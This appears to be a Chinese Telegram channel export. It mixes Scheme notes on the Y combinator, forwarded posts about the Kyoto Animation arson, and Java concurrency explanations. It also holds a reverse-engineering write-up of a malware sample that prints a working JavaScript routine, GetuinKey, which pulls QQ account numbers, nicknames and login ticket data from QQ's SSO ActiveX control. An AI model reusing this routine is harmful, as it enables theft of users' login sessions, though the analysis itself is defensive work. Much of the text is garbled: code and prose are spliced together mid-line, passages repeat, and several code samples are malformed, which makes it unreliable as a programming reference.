https://coolshell.cn/articles/17524.html
#FP 考虑一下 Lambda 演算的 Y Combinator:
λf. (λx. f (x x))^2
可是我觉得也可以命这样的名字(alpha-conversation 项变换)
不过本身从一个程序推进,也不是那么变态难了:
不过它不是很好理解(虽然大家都能通过对递归程序只考虑本层的基本直觉感知到它的确是无限地”展开“自己,无法正常回溯)
于是我们就想,能不能做到『无尽展开』呢?
其实这不难做到,回顾刚才我们举的
注意一点:如果把它自己传递给自己会怎么样呢?
这样可以做到蛮正常的匿名函数递归,也可以做到 Y combinator
不过好像还是无解... 虽然我之前确定过的,不能只指定一个 c,然后后面的让
不过还是可以用 Y 组合子:
这就是 Y combinator .
Y combinator 是组合子逻辑(combinatory logics)不动点组合子里最著名的一个,由它也可以得出 lambda 演算支持循环的推论,从而可以证明 Lambda calculus 通用图灵机(universal turing machine)模型等价
然后 就 跑路了(因为我也不会...
#FP 考虑一下 Lambda 演算的 Y Combinator:
λf. (λx. f (x x)) (λx. f (x x)
也有人说:λf. (λx. f (x x))^2
可是我觉得也可以命这样的名字(alpha-conversation 项变换)
λf. (λc. f (c c)) (λc. f (c c))
其实,乍一看 Y 组合子很难理解,实际上它的确是很烧脑,尤其是从『f 的结果是怎么传递回去的?』这里分析不过本身从一个程序推进,也不是那么变态难了:
(λc. (c c)) (λc. (c c)) 大家都可以试着推导一下,这个程序会”孜孜不倦“地运行(致敬 The Little Schemer)不过它不是很好理解(虽然大家都能通过对递归程序只考虑本层的基本直觉感知到它的确是无限地”展开“自己,无法正常回溯)
(λf. (f f)) 这个例子蛮好理解的,它利用 variable binding 把一个匿名函数传递给它本身,但是这个匿名函数却不能保证像 Y 组合子一样持续展开下去。于是我们就想,能不能做到『无尽展开』呢?
其实这不难做到,回顾刚才我们举的
(λf. (f f)), 它是什么?它接受一个 f,结果为 (f f) 也即 『f 应用(apply) 给自己』这个 application 的结果注意一点:如果把它自己传递给自己会怎么样呢?
(define never-returned你永远别想拿到
(λc. (c c)) (λc. (c c)))
never-returned 的值,因为那个傻函数子程序会不断把自己传给自己... 不要忘了它的任务实际上就是把某个函数 f 传递给它自己而已这样可以做到蛮正常的匿名函数递归,也可以做到 Y combinator
(当然,这个是理论上的,我没有考虑 arity mismatch 的问题...
(lambda (f) (f f))
(lambda (c a b)
(if (= a 0) (b)
(c (sub1 a) (add1 b))
)
(define sum骗你们的,只能 apply-with-args,curry 是无效的,因为 curry 是确定一个参数,不能重写的参数,何况上值(upvalue)
((lambda (f) (f (f f)))
(lambda (c) (lambda(a b)
(if (= a 0) b
(c (sub1 a) (add1 b)))))))))
c 根本不是『自己』不过好像还是无解... 虽然我之前确定过的,不能只指定一个 c,然后后面的让
(c x y) 定...不过还是可以用 Y 组合子:
> (define Y (lambda (f)答案是它会不断地继续把
((lambda (c) f (c c))
(lambda (c) f (c c)))))
f 传递给自己,然后妄图返回那个永远不可能存在的结果...这就是 Y combinator .
Y combinator 是组合子逻辑(combinatory logics)不动点组合子里最著名的一个,由它也可以得出 lambda 演算支持循环的推论,从而可以证明 Lambda calculus 通用图灵机(universal turing machine)模型等价
然后 就 跑路了(因为我也不会...
酷 壳 - CoolShell
如何读懂并写出装逼的函数式代码 | 酷 壳 - CoolShell
Forwarded from AIM扩散力场 (零件 #PrayForKyoani)
在当地时间本日的10时35分,京都动画(本社宇治市)的第1工作室发生火灾,据消防局称,建筑物因火灾受损较为严重,并有多人受伤。
当地居民在发现1楼传来爆炸声、而后有烟雾蔓延出来便报了警。
京都府警察本部在现场发现了有一名男性向现场泼下类似汽油一样的液体,据京都府警察搜查科1课的调查,该男性嫌疑人40多岁,同时也负伤被送往了医院,在调查中对警方表示是他本人放了火。
这次火灾可能导致京都动画大量纸质原稿损毁,排期制作的动画也可能受到影响。
京都动画曾制作过很多知名作品:《凉宫春日的忧郁》、《CLANNAD》、《轻音少女》、《冰菓》、《中二病也要谈恋爱》、《境界的彼方》、《 吹响!上低音号》、《紫罗兰永恒花园》等。
当地居民在发现1楼传来爆炸声、而后有烟雾蔓延出来便报了警。
京都府警察本部在现场发现了有一名男性向现场泼下类似汽油一样的液体,据京都府警察搜查科1课的调查,该男性嫌疑人40多岁,同时也负伤被送往了医院,在调查中对警方表示是他本人放了火。
这次火灾可能导致京都动画大量纸质原稿损毁,排期制作的动画也可能受到影响。
京都动画曾制作过很多知名作品:《凉宫春日的忧郁》、《CLANNAD》、《轻音少女》、《冰菓》、《中二病也要谈恋爱》、《境界的彼方》、《 吹响!上低音号》、《紫罗兰永恒花园》等。
/tmp/duangsuse.sock
https://coolshell.cn/articles/17524.html #FP 考虑一下 Lambda 演算的 Y Combinator: λf. (λx. f (x x)) (λx. f (x x) 也有人说: λf. (λx. f (x x))^2 可是我觉得也可以命这样的名字(alpha-conversation 项变换) λf. (λc. f (c c)) (λc. f (c c)) 其实,乍一看 Y 组合子很难理解,实际上它的确是很烧脑,尤其是从『f 的结果是怎么传递回去的?』这里分析…
关于昨天两个不会的问题,其实还是会的...
不过我要说的不是这个问题,而是上面的
上面的 sum,有一个问题:
柯里化也是没有办法的,其实我们需要的就是拿到一个『函数本身』的引用
于是可以考虑一下使用高阶函数和上值(upvalue),但是那个辅助函数偏偏又只传最外层的引用
于是有了这种办法
等于这个版本的 sum
之所以会停机,之所以需要惰性求值,就是因为 (next) 代表的
自然,也可以试着让这个函数直接提供 recursive 函数的引用
之前我晚上想了一会就是想到了这个方法(
Scheme 系的程序员都是在支持程序分析变换、程序综合的情况下还会各种封装逻辑的,可惜我不是(...
不过一般还是元编程 call-with-values(查文档 请
(define Y (lambda (f)
(let {[k (lambda [c] (f (c c)) )]} (k k))))
呃... 虽然是不会返回,但是 f 的确是可以被执行不过我要说的不是这个问题,而是上面的
sum 函数该如何定义上面的 sum,有一个问题:
(lambda [f] (f f)) 很好,它的目标只是把匿名函数的引用递给它自己,但是为了兼容有多参数可重写的递归匿名函数,必须弄很多个(lambda [f] (f f ()))
(lambda [f] (f f () ()))
... 只是为了给多余的参数提供默认值,这个函数本身它只运行一次而已。柯里化也是没有办法的,其实我们需要的就是拿到一个『函数本身』的引用
c
可是直接以参数的形式提供 c,它就要求你的函数只能有一个参数(不然 arity mismatch)于是可以考虑一下使用高阶函数和上值(upvalue),但是那个辅助函数偏偏又只传最外层的引用
于是有了这种办法
[define call-with-self其实这样就是利用高阶函数拿到参数长度安全的自己的引用,不过还不如不用...
[lambda (f) (f f)]]
[define sum
(call-with-self
[lambda (self)
[lambda (a b) (if (= a 0) b ((self self) (sub1 a) (add1 b)))]])]
等于这个版本的 sum
[这个 next 必须是惰性求值的,不然也不会停机... 和 Y 组合子还有点关系
[lambda {f} (f f)]
[lambda {c}
[let {[next [lambda {} (c c)]]}
[lambda (a b) [if (= a 0) b ((next) (sub1 a) (add1 b)) ]]]
]
]
之所以会停机,之所以需要惰性求值,就是因为 (next) 代表的
(c c) 就是『递归下去 1 层;回溯本层的结果』这个行为本身,此函数是 Y 组合子的一个应用(虽然我太菜所以不知道怎么重写了自然,也可以试着让这个函数直接提供 recursive 函数的引用
(lambda {} (lambda (a b) ...))
可是外层函数必然要依赖它的参数提供一个(continuation 的)变量引用,所以不得不使用(递归的)参数了...之前我晚上想了一会就是想到了这个方法(
Scheme 系的程序员都是在支持程序分析变换、程序综合的情况下还会各种封装逻辑的,可惜我不是(...
不过一般还是元编程 call-with-values(查文档 请
Forwarded from 永久封存 | Yuuta 台 | 😷 #Pray4Wuhan (Yuuta⠀)
Telegram
人海拾贝FlipRadio
观京都动画事件有感,这当然是件坏事,也是社会变糟的表征。不过,新疆的事情大家不太关心,香港的事情大家不太关心,京都动画出这个事情,大家受不了了,纷纷如丧考妣,这我不太能接受。我不是强迫所有人都必须关心我关心的事情,只是不管从哪个角度来看,新疆和香港的事情,都离大家的真实生活近得多得多,严重的多得多,邪恶的多得多。大家的注意力和关注点真是......唉,明天又有大批公众号出来吃这个人血馒头。真是坏事一出,坏事就一件接一件。这真是个大问题,大家对一个动画工作室的关心和心疼远大过几百万和自己关系更近的人,这是一种自由,还是一种什么呢?
按照贵频道的说法,圣母院起火那段时间我们没有首先去考虑国内的可怜儿童和破事情,跑去顺带表示一下同情,也是对祖国不肖了。
这种话,不可能和受害的是『日本』的『动漫』工作室这两个关键词无关吧,如果是印度的、英国的、被袭击的是真理部、普通的公园广场什么的,又会如何作想呢?
到底还是和萌豚们过不去吧... 可是我们除了持瓜围观还能做什么,不就是没人听得见的批判,
还不如乖乖做好自己的事情然后静观其变算了....
这种话,不可能和受害的是『日本』的『动漫』工作室这两个关键词无关吧,如果是印度的、英国的、被袭击的是真理部、普通的公园广场什么的,又会如何作想呢?
到底还是和萌豚们过不去吧... 可是我们除了持瓜围观还能做什么,不就是没人听得见的批判,
还不如乖乖做好自己的事情然后静观其变算了....
Forwarded from 人海拾贝FlipRadio
观京都动画事件有感,这当然是件坏事,也是社会变糟的表征。不过,新疆的事情大家不太关心,香港的事情大家不太关心,京都动画出这个事情,大家受不了了,纷纷如丧考妣,这我不太能接受。我不是强迫所有人都必须关心我关心的事情,只是不管从哪个角度来看,新疆和香港的事情,都离大家的真实生活近得多得多,严重的多得多,邪恶的多得多。大家的注意力和关注点真是......唉,明天又有大批公众号出来吃这个人血馒头。真是坏事一出,坏事就一件接一件。这真是个大问题,大家对一个动画工作室的关心和心疼远大过几百万和自己关系更近的人,这是一种自由,还是一种什么呢?
除了泄愤就是做好自己的事情,可以表达一下自己的观点,但知道自己现在这方面也很废做不了什么
所以就做好该做的事情,少去管一些闲事,如果找得到事情做的话
所以就做好该做的事情,少去管一些闲事,如果找得到事情做的话
酷 壳 - CoolShell
如何超过大多数人 | 酷 壳 - CoolShell
Forwarded from 人海拾贝FlipRadio
我现在很想知道,除了打字泄愤,我们能做些什么?已经有很多年轻人做了那么多那么多,我们能做的还是打字泄愤。我想该怪我们自己
人海拾贝FlipRadio
观京都动画事件有感,这当然是件坏事,也是社会变糟的表征。不过,新疆的事情大家不太关心,香港的事情大家不太关心,京都动画出这个事情,大家受不了了,纷纷如丧考妣,这我不太能接受。我不是强迫所有人都必须关心我关心的事情,只是不管从哪个角度来看,新疆和香港的事情,都离大家的真实生活近得多得多,严重的多得多,邪恶的多得多。大家的注意力和关注点真是......唉,明天又有大批公众号出来吃这个人血馒头。真是坏事一出,坏事就一件接一件。这真是个大问题,大家对一个动画工作室的关心和心疼远大过几百万和自己关系更近的人,这是一种自由,还是一种什么呢?
让大家热爱八卦,八卦并不一定是明星的八卦,还可以是你身边的人,
比如,公司的同事,自己的同学,职场见闻,社会热点,争议话题,……
这些东西总有一些东西会让人心态有很多微妙的变化,
甚至花大量的时间去搜索和阅读大量的观点,以及花大量时间与人辩论争论,这个过程会让人上瘾,让人欲罢不能,
然而这些事却和自己没有半毛钱关系。
你要做的事就是转发其中一些SB或是很极端的观点,造成大家的一睦讨论后,就早早离场……
[origin:coolshell::如何超过大多数人]酷 壳 - CoolShell
如何超过大多数人 | 酷 壳 - CoolShell
#task 马上要做的事情:
0. 用 6 种平台编写排序的 PoC (C++, C++/Qt, Java/Android, JavaScript/Web, Java/Servlet/MongoDB, Kotlin/SpringBoot)
1. Java 8 的
2. 编写 XML 解析器,讲解基于状态机模型的分词/解析-style parser 结构
0. 用 6 种平台编写排序的 PoC (C++, C++/Qt, Java/Android, JavaScript/Web, Java/Servlet/MongoDB, Kotlin/SpringBoot)
1. Java 8 的
@in @out type parameter annotation processor2. 编写 XML 解析器,讲解基于状态机模型的分词/解析-style parser 结构
Forwarded from Deleted Account
clang -cc1 -ast-dump virus.exe.c > virus.exe.c.astdump
cat virus.exe.c.astdump |grep 'StringLiteral' -n -A 10 --color
有 ctags 程序的也可以用 ctags 创建一下源码索引方便看ctags.emacs virus.exe.c -o virus-tags
cat virus-tags
查 code Xref 直接比如
3990-|-VarDecl 0x55cc3eed1338 <line:2183:1, col:18> col:8 used g62 'char (*)[3]' cinit然后搜索 VarDecl 的 id 就可以了
3991-| `-ImplicitCastExpr 0x55cc3eed13d0 <col:18> 'char (*)[3]' <BitCast>
3992-| `-ImplicitCastExpr 0x55cc3eed13b8 <col:18> 'char *' <ArrayToPointerDecay>
3993:| `-StringLiteral 0x55cc3eed1398 <col:18> 'char [3]' lvalue "qX"
Ctrl+W in nano
0x55cc3eed1338
Forwarded from Deleted Account
我给要看的各位大佬帮忙划个重点,Good luck, have a good night reversing!
RetDec 的函数签名基本是没有用的,名称没调试符号就没用、返回类型不准确、参数也不准确,所以就不标出来了
完了(大佬看
RetDec 的函数签名基本是没有用的,名称没调试符号就没用、返回类型不准确、参数也不准确,所以就不标出来了
function_40770d
calling PathFindFileNameA
g218 = "\\"
function_40790d
calling PathFindExtensionA
function_40c770
calling GetModuleFileNameA, GetCommandLineA, PeekMessageA, GetMessageA, TranslateMessageA, DispatchMessageA...
"blackmoon"
g253 = ".gz"
g536 是一个 Handle
function_4110b0 和它调用的函数貌似来自一个压缩文件支持库
function_411aa0 calling GetDesktopWindow, GetTickCount
function_414520 是加密的,并且存储了很多非 ASCII 字符串
function_4017e6 包含大量和业务逻辑有关的 base64 字符串,并且使用了 ActiveX 的 API
3773 行,v23 = "SSOAxCtrlForPTLogin.SSOForPTLogin2"
3848 行,v23 = "http://xui.ptlogin2.qq.com/cgi-bin/qlogin"
3986 (药丸)行,v30 = JavaScript
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g++){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y++){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
L11345, v22 被设置为 "; "
L13198, v13 被设置为 "file"
L13903, v19 被设置为 "[dx]"
L13905, v21 被设置为 "[xiax]"
L1436, v28 被设置为 "Content-Type: multipart/form-data; boundary=---------------------------9813238148147"
L16323, v9 = "%f"
function_4096e0 calling CreateFile, WriteFile
function_409780 calling SetFileAttributesA
-
然后各位大佬可以搜索一下有非 function_ 名字的 CallExpr,不过 AWK 也完成不了,必须得手动 deep find & filter 语法树了完了(大佬看
/tmp/duangsuse.sock
不好... 是并发数据竞争问题...
这个数据竞争问题,原因在于我想实现一个 ArrayStream(ArrayIterator)
可是,问题来了:它需要一个
我这里使用的方法很暴力,就是直接一个
Iterator 是一个状态机(也可以认为是一种『计数器』),它的状态很简单,就是一个『当前项』的指针,每次 next() previous() 都会进行状态转移。
改变
假设同时存在两个程序实例(一般由线程运作),拥有同一个 volatile 的
是的,写入对两者来说都是立即可见新值,问题在于
我们希望,两个线程调用完 moveNext() 后,
线程 A 求值 pos + 1 的时候,这里的 pos 是 old_pos
线程 B 求值 pos + 1 的时候,这里的 pos 也 TMD 是 old_pos
然后两者任一完成任务后,pos 的值将被覆盖为 old_pos +1,因为『后执行』者,得到的值不一定是『最新』的,也可能在执行 (+) 运算的时候,值已经更新。
是的,发布立刻可见,可未必代表不存在『复制』啊!
有了复制(到 Java 的求值栈上)就有可能 got outdated value,进而引发并发安全的问题 — Iterator 里,同一个数据会
(假设你拿它实现消息队列什么的,就不中用了)
内存和并发模型是一门语言非常底层的工作之一,一般来说只有类似 Rust、Java 这样计划的语言才会定义自己的内存和同步模型,很多时候同步问题没有那么受重视并且一般都用 C 的规范,一般讨论都有如下前提:『某事在某事
那有些『Java 高级后端工程师』『Android 高级开发工程师』就要说了,“这也能叫问题,
有问题吗?其实这也是一种正常的同步方法,互斥锁同步(exclusive lock)
Java 的 java.lang.Object 附带了
那么有没有更加 efficient 的方法呢?有。答案是 OCC — 乐观并发控制。
值得注意的是,这里面有中国人的贡献。 😆
乐观并发控制是对于线程同步问题的 “非阻塞”(non-blocking) 解决方式,它是一种乐观优化(optimistic optimization)
(正如我[之前说的])
(1)
考虑一下 moveNext 操作的数据依赖,其实『并发安全』的保证就是 — 有两个及以上线程同时访问,必须保证某个操作实例执行后,pos 状态都真实『+= 1』自增了,它是具有『原子性』的操作 — (+) 操作依赖的数据必须永远表示 pos 本身,写入也得立刻对另一个实例可见
可是这本身不容易,不过有个 Hack — 我们只是想要 f(n) = f(x) = x + n (高阶函数 higher-order function)这个加法操作正确(
不过实际计算的时候往往不能做到这个保证,怎么办?check 一下某个操作数是否『effective pure』!(致敬 Java 8 Lamda 表达式的 Effective final 问题... 这个问题还不如 C++ 处理的好)
如果发现操作数在计算进行的过程中没有发生变化(它是纯的),计算结果也是正确的。
否则,再进行一次,再进行一次... 直到 it checks,证明我们的计算是正确的,程序正确地处理了计算中由于操作重入(reentry)的数据变化。
(实际上因为我们的加法操作没有同步,证明了处理正确就意味着处理过程中并没有线程插进来写了
于是 OCC 有一个操作『compare and exchange』 — 来实现这种 check,当然它本身也得是内部实现的 atomic 操作,
x86 有 cmpxchg 实际进行这种 CAS(cmp&swap) 操作,提供了更高并发性能的可能性
CAS 操作也的确存在着一个问题,如果还有线程把改过的 pos 『设置回去』成了 oldpos,则 CAS 操作也会正常 swap,即使数据已经改变过,不过这里是不会引发线程安全问题的。
因为这类『计数器』的同步比较常用,所以都提供了封装 —
—
引用:周志明《深入理解 Java 虚拟机:JVM 高级特性与最佳实践》陈光剑《Kotlin 极简教程》《The Rustonomicon》王亚刚《GCC 》
不过下面那个
不过,
Kotlin 里面的
可是,问题来了:它需要一个
int pos; 指针作为自己的状态,来决定下一次是返回数据(或者说返回“流结束了”),而即便可能没有必要,我也希望它能够被安全的并发访问 — 这意味着,它的状态(state) pos 必须是线程安全的,我们无法阻止 pos 指针(大概是,不过 Java 里没有 C 那样的指针)的移动,所以必须进行同步(synchronize)我这里使用的方法很暴力,就是直接一个
volatile 加上万事大吉,可是真的就是这样吗?Iterator 是一个状态机(也可以认为是一种『计数器』),它的状态很简单,就是一个『当前项』的指针,每次 next() previous() 都会进行状态转移。
改变
pos 状态的只有两个操作:moveNext() 和 movePrevious()
如果不能保证任意时刻只有一个线程通过这两个暴露的 public 方法写(write) private int pos; volatile 做的保证(保证乱序执行的安全,不进行不安全的语句移动,数据修改发布其他线程立即可见)也是无效的假设同时存在两个程序实例(一般由线程运作),拥有同一个 volatile 的
pos 状态,同时启动了 move...() 操作是的,写入对两者来说都是立即可见新值,问题在于
++pos; (pos = pos + 1;) 这种操作它不能保证写入的值一定是『正确』的我们希望,两个线程调用完 moveNext() 后,
pos == old_pos + 2, 可实际上有时候它只会 ==+1, 设想一下:线程 A 求值 pos + 1 的时候,这里的 pos 是 old_pos
线程 B 求值 pos + 1 的时候,这里的 pos 也 TMD 是 old_pos
然后两者任一完成任务后,pos 的值将被覆盖为 old_pos +1,因为『后执行』者,得到的值不一定是『最新』的,也可能在执行 (+) 运算的时候,值已经更新。
是的,发布立刻可见,可未必代表不存在『复制』啊!
有了复制(到 Java 的求值栈上)就有可能 got outdated value,进而引发并发安全的问题 — Iterator 里,同一个数据会
next() 操作会提供两次,长度也可能一会是 2 一会变成 3,这是错误的!(假设你拿它实现消息队列什么的,就不中用了)
内存和并发模型是一门语言非常底层的工作之一,一般来说只有类似 Rust、Java 这样计划的语言才会定义自己的内存和同步模型,很多时候同步问题没有那么受重视并且一般都用 C 的规范,一般讨论都有如下前提:『某事在某事
前(<) 发生』。那有些『Java 高级后端工程师』『Android 高级开发工程师』就要说了,“这也能叫问题,
synchronized 一下不就好了么?” 🤔public synchronized void moveNext() { ++pos; }
这意味着 JVM 会保证,同一时刻就只能有一个 moveNext 操作在某个 ArrayStream 状态实例上执行,而如果同一个实例被并发访问,其他并发线程都得等待操作完成。有问题吗?其实这也是一种正常的同步方法,互斥锁同步(exclusive lock)
Java 的 java.lang.Object 附带了
wait 和 notify 方法也可以实现这种同步方式(但是不得不承认,kotlin 的 Any 才是 Object 应该有的样子,这些明明是内部细节的东西却暴露出来)那么有没有更加 efficient 的方法呢?有。答案是 OCC — 乐观并发控制。
值得注意的是,这里面有中国人的贡献。 😆
乐观并发控制是对于线程同步问题的 “非阻塞”(non-blocking) 解决方式,它是一种乐观优化(optimistic optimization)
(正如我[之前说的])
synchronized
虽然方便,但是它有一个很大的问题 — 并发访问的时候,实际上我们已经把并行计算的高效,替换成了不得不用锁进行同步,保证只有一个线程执行操作的尴尬。并行变串行,你怎么不把它直接标记成线程对立的操作?(跑,其实也是看情况的(1)
考虑一下 moveNext 操作的数据依赖,其实『并发安全』的保证就是 — 有两个及以上线程同时访问,必须保证某个操作实例执行后,pos 状态都真实『+= 1』自增了,它是具有『原子性』的操作 — (+) 操作依赖的数据必须永远表示 pos 本身,写入也得立刻对另一个实例可见
可是这本身不容易,不过有个 Hack — 我们只是想要 f(n) = f(x) = x + n (高阶函数 higher-order function)这个加法操作正确(
偶尔,因为其他线程的插入导致了结果不正确),数学是纯(pure)的,n 就是 n,x 就是 x,不可能在计算的时候,x 的值突然变成了 y,x 就是值本身(也可以参考下 Haskell 的惰性求值(lazy evaluation))。不过实际计算的时候往往不能做到这个保证,怎么办?check 一下某个操作数是否『effective pure』!(致敬 Java 8 Lamda 表达式的 Effective final 问题... 这个问题还不如 C++ 处理的好)
如果发现操作数在计算进行的过程中没有发生变化(它是纯的),计算结果也是正确的。
否则,再进行一次,再进行一次... 直到 it checks,证明我们的计算是正确的,程序正确地处理了计算中由于操作重入(reentry)的数据变化。
(实际上因为我们的加法操作没有同步,证明了处理正确就意味着处理过程中并没有线程插进来写了
pos 状态,在很少机率失败时为成功的情况优化,失败则需要花费更多时间拯救,是乐观优化的基本思想)于是 OCC 有一个操作『compare and exchange』 — 来实现这种 check,当然它本身也得是内部实现的 atomic 操作,
x86 有 cmpxchg 实际进行这种 CAS(cmp&swap) 操作,提供了更高并发性能的可能性
import static sun.misc.Unsafe;(现在 JDK 8+ 应该是 jdk.internal.misc.Unsafe, Signal 等类也移动了,唉 jmod 啊)
// compareAndExchange Int(int i, int expectedValue, int newValue)因为
private protected volatile int pos = 0;
public void moveNext() {
final int oldpos = pos;
final int newpos = oldpos +1;
pos = compareAndExchangeInt(this, getAddress(pos), oldpos, newpos);
}
Unsafe 是 undocumented API,我不保证示例的正确性,只是示意。CAS 操作也的确存在着一个问题,如果还有线程把改过的 pos 『设置回去』成了 oldpos,则 CAS 操作也会正常 swap,即使数据已经改变过,不过这里是不会引发线程安全问题的。
因为这类『计数器』的同步比较常用,所以都提供了封装 —
java.util.concurrent.atomic.AtomicInteger
它上面的操作,是具有原子性(atomic)且线程安全的,Kotlin/JVM 为 Coroutine 分配 executor 创建执行器名字的时候,就使用到了 AtomicInteger#incrementAndGet()
ES6 也添加了乐观并发控制的 API — have to do with ArrayBuffers, Atomics 对象可以使用类似 compare-and-exchange 的方法,也能做到 Atomic increasement 这种操作—
引用:周志明《深入理解 Java 虚拟机:JVM 高级特性与最佳实践》陈光剑《Kotlin 极简教程》《The Rustonomicon》王亚刚《GCC 》
不过下面那个
org.duangsuse.promise.functional.adt.Data 的 private static volatile boolean metadataInitialized; 是没问题的,只要有一个线程完成了初始化,数据会立刻发布,所有线程可见(因为需要当前线程上下文的原因,我无法使用 static initializer... 也无法使用 private static inner class Singleton { static T INSTANCE = ...; })不过,
Kotlin 里面的
lazy value delegate 也存在这样的选择,默认是 LazyThreadSafetyMode.SAFE 的,可是一般来说都会调成 LazyThreadSafetyMode.PUBLICATION_ONLY, 这就是利用了 @Volatile 同步线程本地缓存立即可见新值的特性。Telegram
/tmp/duangsuse.sock
艹,劳资 TMD 才想起来,我还以为自己做了很了不起的『优化』呢(这个思路很简单,就是 exception 要比正常返回多花时间),可是我就没有看出来这才是真正的优化... 为什么要避开常用的思路去 exception,其实就是『乐观(optimistic)』的优化思路啊!既然翻译本来就几乎不可能缺失,我为什么要每次去检查... 以后这个脑子还是要灵活一点 😭
/tmp/duangsuse.sock
这个数据竞争问题,原因在于我想实现一个 ArrayStream(ArrayIterator) 可是,问题来了:它需要一个 int pos; 指针作为自己的状态,来决定下一次是返回数据(或者说返回“流结束了”),而即便可能没有必要,我也希望它能够被安全的并发访问 — 这意味着,它的状态(state) pos 必须是线程安全的,我们无法阻止 pos 指针(大概是,不过 Java 里没有 C 那样的指针)的移动,所以必须进行同步(synchronize) 我这里使用的方法很暴力,就是直接一个 volatile…
辣鸡 Telegram 又嫌我太絮絮叨叨不让发... where (1)
《CLR via C#》的作者 Jeffrey Richter 就批判这种万能 Monitor 同步的方法 —
如果你要让对象线程安全,那就线程安全并且高效
看看 Java 程序员里著名的『双检锁(double-checked locking)』singleton 技术
1. 方法签名没有 synchronized,这就表示不是方法级别的同步,而是可以并发执行方法,但是内部可以有
2. 上面的程序是错的,为什么呢?
3. 因为 private Boo INSTANCE 不是 publication 立即可见的,可能一个线程调用 new Boo() 后其他线程看到 INSTANCE == null 又去 new 一次
4. 上面的程序还可以更好看,怎么修改?
5. 尝试合并一下分支,synchronized 里的 if 块有一个相同的控制流后件
6. 之所以在方法的第一个语句 check !=null 之后再在 synchronized check 一遍,是因为方法可能被重入,这种情况
若不去再次判断,
《CLR via C#》的作者 Jeffrey Richter 就批判这种万能 Monitor 同步的方法 —
如果你要让对象线程安全,那就线程安全并且高效
尽可能高效地线程安全,不要做个半吊子安全 reentrant。看看 Java 程序员里著名的『双检锁(double-checked locking)』singleton 技术
static Boo INSTANCE = null;注意一下:
public static Boo getInstance() {
if (INSTANCE != null) return INSTANCE;
synchronized (Boo.class) {
if (INSTANCE != null) return INSTANCE;
INSTANCE = new Boo(); return INSTANCE;
}
}
1. 方法签名没有 synchronized,这就表示不是方法级别的同步,而是可以并发执行方法,但是内部可以有
synchronized 块2. 上面的程序是错的,为什么呢?
3. 因为 private Boo INSTANCE 不是 publication 立即可见的,可能一个线程调用 new Boo() 后其他线程看到 INSTANCE == null 又去 new 一次
4. 上面的程序还可以更好看,怎么修改?
5. 尝试合并一下分支,synchronized 里的 if 块有一个相同的控制流后件
6. 之所以在方法的第一个语句 check !=null 之后再在 synchronized check 一遍,是因为方法可能被重入,这种情况
若不去再次判断,
synchronized 块里的 new Boo() 也会被执行两次static volatile Boo INSTANCE = null;其实,还不如让 JVM 替你直接
public static Boo getInstance() {
if (INSTANCE != null) return INSTANCE;
synchronized (Boo.class) {
if (INSTANCE == null) INSTANCE = new Boo();
return INSTANCE;
}
}
static 初始化了,而且也是线程安全的... 因为类初始化器 <clinit> (static {}) 被担保只执行一次(executed exactly once)。private static class Singleton { public static Boo INSTANCE = new Boo(); }
只要应用程序的代码引用到 Singleton 类,它就会被自动初始化,并且这么做是线程安全的,无论多少并发访问,构造器 Boo() 只会被调用一次。